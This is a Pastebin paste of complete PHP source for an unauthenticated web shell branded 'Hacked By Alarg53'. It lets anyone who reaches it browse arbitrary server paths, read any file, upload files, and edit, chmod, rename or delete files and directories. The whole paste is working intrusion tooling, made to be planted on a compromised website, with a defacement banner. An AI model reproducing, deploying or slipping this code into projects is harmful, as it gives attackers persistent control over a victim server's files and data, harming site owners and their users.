Guest User

Untitled

a guest
Jan 20th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.03 KB | None | 0 0
  1. <?php
  2. echo '<!DOCTYPE HTML>
  3. <HTML>
  4. <HEAD>
  5. <link href="" rel="stylesheet" type="text/css">
  6. <title>Cod3d By Alarg53</title>
  7. <style>
  8. body{
  9. font-family: "Racing Sans One", cursive;
  10. background-color: #e6e6e6;
  11. text-shadow:0px 0px 1px #757575;
  12. }
  13. #content tr:hover{
  14. background-color: #636263;
  15. text-shadow:0px 0px 10px #fff;
  16. }
  17. #content .first{
  18. background-color: silver;
  19. }
  20. #content .first:hover{
  21. background-color: silver;
  22. text-shadow:0px 0px 1px #757575;
  23. }
  24. table{
  25. border: 1px #000000 dotted;
  26. }
  27. H1{
  28. font-family: "Rye", cursive;
  29. }
  30. a{
  31. color: #000;
  32. text-decoration: none;
  33. }
  34. a:hover{
  35. color: #fff;
  36. text-shadow:0px 0px 10px #ffffff;
  37. }
  38. input,select,textarea{
  39. border: 1px #000000 solid;
  40. -moz-border-radius: 5px;
  41. -webkit-border-radius:5px;
  42. border-radius:5px;
  43. }
  44. </style>
  45. </HEAD>
  46. <BODY>
  47. <H1><center>Hacked By Alarg53</center></H1>
  48. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  49. <tr><td>Current Path : ';
  50. if(isset($_GET['path'])){
  51. $path = $_GET['path'];
  52. }else{
  53. $path = getcwd();
  54. }
  55. $path = str_replace('\\','/',$path);
  56. $paths = explode('/',$path);
  57.  
  58. foreach($paths as $id=>$pat){
  59. if($pat == '' && $id == 0){
  60. $a = true;
  61. echo '<a href="?path=/">/</a>';
  62. continue;
  63. }
  64. if($pat == '') continue;
  65. echo '<a href="?path=';
  66. for($i=0;$i<=$id;$i++){
  67. echo "$paths[$i]";
  68. if($i != $id) echo "/";
  69. }
  70. echo '">'.$pat.'</a>/';
  71. }
  72. echo '</td></tr><tr><td>';
  73. if(isset($_FILES['file'])){
  74. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  75. echo '<font color="green">File Upload Done.</font><br />';
  76. }else{
  77. echo '<font color="red">File Upload Error.</font><br />';
  78. }
  79. }
  80. echo '<form enctype="multipart/form-data" method="POST">
  81. Upload File : <input type="file" name="file" />
  82. <input type="submit" value="upload" />
  83. </form>
  84. </td></tr>';
  85. if(isset($_GET['filesrc'])){
  86. echo "<tr><td>Current File : ";
  87. echo $_GET['filesrc'];
  88. echo '</tr></td></table><br />';
  89. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  90. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  91. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  92. if($_POST['opt'] == 'chmod'){
  93. if(isset($_POST['perm'])){
  94. if(chmod($_POST['path'],$_POST['perm'])){
  95. echo '<font color="green">Change Permission Done.</font><br />';
  96. }else{
  97. echo '<font color="red">Change Permission Error.</font><br />';
  98. }
  99. }
  100. echo '<form method="POST">
  101. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  102. <input type="hidden" name="path" value="'.$_POST['path'].'">
  103. <input type="hidden" name="opt" value="chmod">
  104. <input type="submit" value="Go" />
  105. </form>';
  106. }elseif($_POST['opt'] == 'rename'){
  107. if(isset($_POST['newname'])){
  108. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  109. echo '<font color="green">Change Name Done.</font><br />';
  110. }else{
  111. echo '<font color="red">Change Name Error.</font><br />';
  112. }
  113. $_POST['name'] = $_POST['newname'];
  114. }
  115. echo '<form method="POST">
  116. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  117. <input type="hidden" name="path" value="'.$_POST['path'].'">
  118. <input type="hidden" name="opt" value="rename">
  119. <input type="submit" value="Go" />
  120. </form>';
  121. }elseif($_POST['opt'] == 'edit'){
  122. if(isset($_POST['src'])){
  123. $fp = fopen($_POST['path'],'w');
  124. if(fwrite($fp,$_POST['src'])){
  125. echo '<font color="green">Edit File Done.</font><br />';
  126. }else{
  127. echo '<font color="red">Edit File Error.</font><br />';
  128. }
  129. fclose($fp);
  130. }
  131. echo '<form method="POST">
  132. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  133. <input type="hidden" name="path" value="'.$_POST['path'].'">
  134. <input type="hidden" name="opt" value="edit">
  135. <input type="submit" value="Go" />
  136. </form>';
  137. }
  138. echo '</center>';
  139. }else{
  140. echo '</table><br /><center>';
  141. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  142. if($_POST['type'] == 'dir'){
  143. if(rmdir($_POST['path'])){
  144. echo '<font color="green">Delete Dir Done.</font><br />';
  145. }else{
  146. echo '<font color="red">Delete Dir Error.</font><br />';
  147. }
  148. }elseif($_POST['type'] == 'file'){
  149. if(unlink($_POST['path'])){
  150. echo '<font color="green">Delete File Done.</font><br />';
  151. }else{
  152. echo '<font color="red">Delete File Error.</font><br />';
  153. }
  154. }
  155. }
  156. echo '</center>';
  157. $scandir = scandir($path);
  158. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  159. <tr class="first">
  160. <td><center>Name</center></td>
  161. <td><center>Size</center></td>
  162. <td><center>Permissions</center></td>
  163. <td><center>Options</center></td>
  164. </tr>';
  165.  
  166. foreach($scandir as $dir){
  167. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  168. echo "<tr>
  169. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  170. <td><center>--</center></td>
  171. <td><center>";
  172. if(is_writable("$path/$dir")) echo '<font color="green">';
  173. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  174. echo perms("$path/$dir");
  175. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  176.  
  177. echo "</center></td>
  178. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  179. <select name=\"opt\">
  180. <option value=\"\"></option>
  181. <option value=\"delete\">Delete</option>
  182. <option value=\"chmod\">Chmod</option>
  183. <option value=\"rename\">Rename</option>
  184. </select>
  185. <input type=\"hidden\" name=\"type\" value=\"dir\">
  186. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  187. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  188. <input type=\"submit\" value=\">\" />
  189. </form></center></td>
  190. </tr>";
  191. }
  192. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  193. foreach($scandir as $file){
  194. if(!is_file("$path/$file")) continue;
  195. $size = filesize("$path/$file")/1024;
  196. $size = round($size,3);
  197. if($size >= 1024){
  198. $size = round($size/1024,2).' MB';
  199. }else{
  200. $size = $size.' KB';
  201. }
  202.  
  203. echo "<tr>
  204. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  205. <td><center>".$size."</center></td>
  206. <td><center>";
  207. if(is_writable("$path/$file")) echo '<font color="green">';
  208. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  209. echo perms("$path/$file");
  210. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  211. echo "</center></td>
  212. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  213. <select name=\"opt\">
  214. <option value=\"\"></option>
  215. <option value=\"delete\">Delete</option>
  216. <option value=\"chmod\">Chmod</option>
  217. <option value=\"rename\">Rename</option>
  218. <option value=\"edit\">Edit</option>
  219. </select>
  220. <input type=\"hidden\" name=\"type\" value=\"file\">
  221. <input type=\"hidden\" name=\"name\" value=\"$file\">
  222. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  223. <input type=\"submit\" value=\">\" />
  224. </form></center></td>
  225. </tr>";
  226. }
  227. echo '</table>
  228. </div>';
  229. }
  230. echo '<br />Hacked By Alarg53<font color="red">1.0</font>, Coded By <font color="red">Alarg53</font>
  231. </BODY>
  232. </HTML>';
  233. function perms($file){
  234. $perms = fileperms($file);
  235.  
  236. if (($perms & 0xC000) == 0xC000) {
  237. // Socket
  238. $info = 's';
  239. } elseif (($perms & 0xA000) == 0xA000) {
  240. // Symbolic Link
  241. $info = 'l';
  242. } elseif (($perms & 0x8000) == 0x8000) {
  243. // Regular
  244. $info = '-';
  245. } elseif (($perms & 0x6000) == 0x6000) {
  246. // Block special
  247. $info = 'b';
  248. } elseif (($perms & 0x4000) == 0x4000) {
  249. // Directory
  250. $info = 'd';
  251. } elseif (($perms & 0x2000) == 0x2000) {
  252. // Character special
  253. $info = 'c';
  254. } elseif (($perms & 0x1000) == 0x1000) {
  255. // FIFO pipe
  256. $info = 'p';
  257. } else {
  258. // Unknown
  259. $info = 'u';
  260. }
  261.  
  262. // Owner
  263. $info .= (($perms & 0x0100) ? 'r' : '-');
  264. $info .= (($perms & 0x0080) ? 'w' : '-');
  265. $info .= (($perms & 0x0040) ?
  266. (($perms & 0x0800) ? 's' : 'x' ) :
  267. (($perms & 0x0800) ? 'S' : '-'));
  268.  
  269. // Group
  270. $info .= (($perms & 0x0020) ? 'r' : '-');
  271. $info .= (($perms & 0x0010) ? 'w' : '-');
  272. $info .= (($perms & 0x0008) ?
  273. (($perms & 0x0400) ? 's' : 'x' ) :
  274. (($perms & 0x0400) ? 'S' : '-'));
  275.  
  276. // World
  277. $info .= (($perms & 0x0004) ? 'r' : '-');
  278. $info .= (($perms & 0x0002) ? 'w' : '-');
  279. $info .= (($perms & 0x0001) ?
  280. (($perms & 0x0200) ? 't' : 'x' ) :
  281. (($perms & 0x0200) ? 'T' : '-'));
  282.  
  283. return $info;
  284. }
  285. ?>
  286.  
  287. Hacked By Alarg531.0, Coded By Alarg53
Add Comment
Please, Sign In to add comment